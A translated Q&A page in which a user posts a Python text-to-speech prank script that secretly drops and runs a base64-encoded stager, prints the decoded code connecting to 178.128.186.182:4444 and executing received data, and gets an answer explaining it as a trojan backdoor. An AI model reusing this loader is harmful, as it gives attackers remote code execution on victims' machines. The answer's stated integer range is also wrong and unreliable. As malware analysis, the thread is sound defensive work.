首页 > 解决方案 > 这个python程序是做什么的?是老鼠吗?

问题描述

我从在线交谈的人那里下载了一个 Python 程序。这似乎毫无用处,而且是一个有趣的概念。该程序将使用谷歌 TTS 说一些有趣的短语。当我运行程序时,我什么都没想,直到奇怪的事情开始发生。我的 Pycharm 关闭了,但没有提示我是否希望它像往常一样关闭。然后我的 Brave 浏览器也关闭了。我怀疑,所以我查看了我的任务管理器,Python 仍在运行。我终止了正在运行的 Python,奇怪的事件似乎停止了。我回头查看了我收到的 Python 文件,发现了一些非常奇怪的东西。

这是我收到的 Python 程序:

import pip
import os
import string
import subprocess
from subprocess import Popen
import sys

try:
    from pip import main as pipmain
except:
    from pip._internal import main as pipmain

reqs = subprocess.check_output([sys.executable, '-m', 'pip', 'freeze'])
file = open(os.getenv('APPDATA') + "temp.py", "w")
file.write("import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE3OC4xMjguMTg2LjE4MicsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))")
file.close()
gt = subprocess = Popen(['pythonw', os.getenv('APPDATA') + "temp.py"])
installed_packages = [r.decode().split('==')[0] for r in reqs.split()]
def installpackage(package):
    pipmain(['install', package])

if not 'gTTS' in installed_packages:
    installpackage('gTTS')
if not 'playsound' in installed_packages:
    installpackage('playsound')

import playsound
from gtts import gTTS

tts = gTTS(text='Her the fat hippo',lang='en')
tts.save("temp.mp3")
playsound.playsound('temp.mp3')
os.remove("temp.mp3")

但是看着第 13 到 17 行,我想知道那个编码位是什么。我可以确认,包含编码代码的文件位于我的 APPDATA 文件夹中。

编码部分代码:

file.write("import base64,sys;exec(base64.b64decode({2:str,3:lambda `b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE3OC4xMjguMTg2LjE4MicsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))")`

当我用 base64 解码它时,我得到

import socket,struct,time
for x in range(10):
    try:
        s=socket.socket(2,socket.SOCK_STREAM)
        s.connect(('178.128.186.182',4444))
        break
    except:
        time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
    d+=s.recv(l-len(d))
exec(d,{'s':s})

写入我的 APPDATA 的这个文件应该做什么?我所能理解的是,它会打开该 IP 10 次。如果无法连接,请等待 5 秒。这个程序的目的最让我困惑。

标签: python

解决方案


这是一个木马,一个带有隐藏后门的脚本。您必须假设您的计算机还不安全,因为木马可能已经在您的计算机上安装了更多软件。如果您在学校或办公室运行此程序,您需要去那里通知 IT 部门有关此事件,因为这是他们网络中的安全漏洞,攻击者可能会使用您的计算机作为入侵的途径。

循环尝试连接到另一台计算机,最多十次。如果连接尝试成功,则break停止循环。

连接后,它会读取 4 个字节作为无符号整数,并从套接字读取这么多字节:

l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
    d+=s.recv(l-len(d))

l现在是 0 到 18446744073709551615 之间的整数,接下来的三行用于将这么多字节从套接字读取到d. s.recv(l)将读取最多 l字节但可能接收更少,这取决于到目前为止通过网络到达的数据量。然后while循环继续从套接字读取,直到l接收到所有字节。

这是从远程连接接收数据的标准方式,读取固定数量的少量字节来编码长度,然后继续从套接字读取,直到您收到所有预期的数据。

然后,exec(d,{'s':s})将以Python 代码的形式执行该数据,并访问套接字。因此,从那时起,我们不再知道程序会做什么,因为远程套接字已被完全控制。

因为此时执行的代码可以为所欲为,它可能已经下载了其他软件以进一步接管您的计算机。此时您真的,真的,真的很想用防病毒软件彻底清理它。

IP 地址和端口现在不接受连接,所以我不能去检索“有效负载”,这个脚本要检索和执行的代码,所以我们不能更具体地告诉你要寻找什么。这种连接和下载有效负载通常会随时更改以适应环境并增加成功的机会。


推荐阅读